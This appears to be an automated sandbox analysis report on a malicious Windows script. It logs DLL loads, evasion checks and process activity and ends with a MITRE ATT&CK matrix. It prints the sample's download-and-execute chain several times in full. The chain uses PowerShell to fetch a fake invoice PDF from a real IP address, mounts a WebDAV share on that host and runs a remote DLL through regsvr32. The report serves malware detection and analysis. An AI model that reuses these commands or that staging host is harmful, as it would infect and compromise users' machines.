Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1125.js.csv");ITextStream.WriteLine(" entry:7383 f:ujfmczsd");ITextStream.WriteLine(" exec:2 f:ujfmczsd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49767

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4799			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5062			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 4799 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 5062 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8140	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1417400632.000002AEB9108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW w
Source: net.exe, 00000007.00000002.1417400632.000002AEB9172000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2647044277.000002A55C227000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2647890574.000002A561658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1417400632.000002AEB9172000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>ox

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
